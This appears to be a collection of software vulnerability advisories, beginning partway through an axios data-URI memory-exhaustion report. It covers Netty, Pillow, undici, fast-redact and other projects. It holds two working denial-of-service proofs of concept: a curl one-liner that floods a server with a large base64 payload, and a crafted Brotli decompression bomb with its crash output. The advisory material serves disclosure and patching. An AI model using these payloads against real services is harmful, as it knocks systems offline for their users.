const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } });

app.listen(PORT, () => { console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT}); console.log(Heap cap via NODEOPTIONS, JSON limit via MAXCLIENTBODY (default ${BODYLIMIT}).); }); Run this app and send 3 post requests: sh SIZEMB=35 node -e 'const n=+process.env.SIZEMB10241024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null

---

Suggestions

1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

fast-redact is a package that provides do very fast object redaction. A Prototype Pollution vulnerability in the nestedRestore function of fast-redact version 3.5.0 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence. NOTE: the Supplier disputes this because the reporter only demonstrated access to properties by an internal utility function, and there is no means for achieving prototype pollution via the public API.

pytorch v2.8.0 was discovered to display unexpected behavior when the components torch.rot90 and torch.randnlike are used together.

Pillow is a Python imaging library. In versions 11.2.0 to before 11.3.0, there is a heap buffer overflow when writing a sufficiently large (>64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space. This only affects users who save untrusted data as a compressed DDS image. This issue has been patched in version 11.3.0.

jose v6.0.10 was discovered to contain weak encryption. NOTE: this is disputed by a third party because the claim of "do not meet recommended security standards" does not reflect guidance in a final publication.

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); } }

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) at java.base/java.nio.Bits.reserveMemory(Bits.java:178) at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121) at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Impact

Undici fetch() uses Math.random() to choose the boundary for a multipart/form-data request. It is known that the output of Math.random() can be predicted if several of its generated values are known.

If there is a mechanism in an app that sends multipart requests to an attacker-controlled website, they can use this to leak the necessary values. Therefore, An attacker can tamper with the requests going to the backend APIs if certain conditions are met.

Patches

This is fixed in 5.28.5; 6.21.1; 7.2.3.

Workarounds

Do not issue multipart requests to attacker controlled servers.

References

https://hackerone.com/reports/2913312 https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f

Uncontrolled Resource Consumption vulnerability in Apache Commons Configuration 1.x.

There are a number of issues in Apache Commons Configuration 1.x that allow excessive resource consumption when loading untrusted configurations or using unexpected usage patterns. The Apache Commons Configuration team does not intend to fix these issues in 1.x. Apache Commons Configuration 1.x is still safe to use in scenario's where you only load trusted configurations.

Users that load untrusted configurations or give attackers control over usage patterns are recommended to upgrade to the 2.x version line, which fixes these issues. Apache Commons Configuration 2.x is not a drop-in replacement, but as it uses a separate Maven groupId and Java package namespace they can be loaded side-by-side, making it possible to do a gradual migration.

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to bypass security controls and perform unauthorized actions due to client-side enforcement of sever-side security.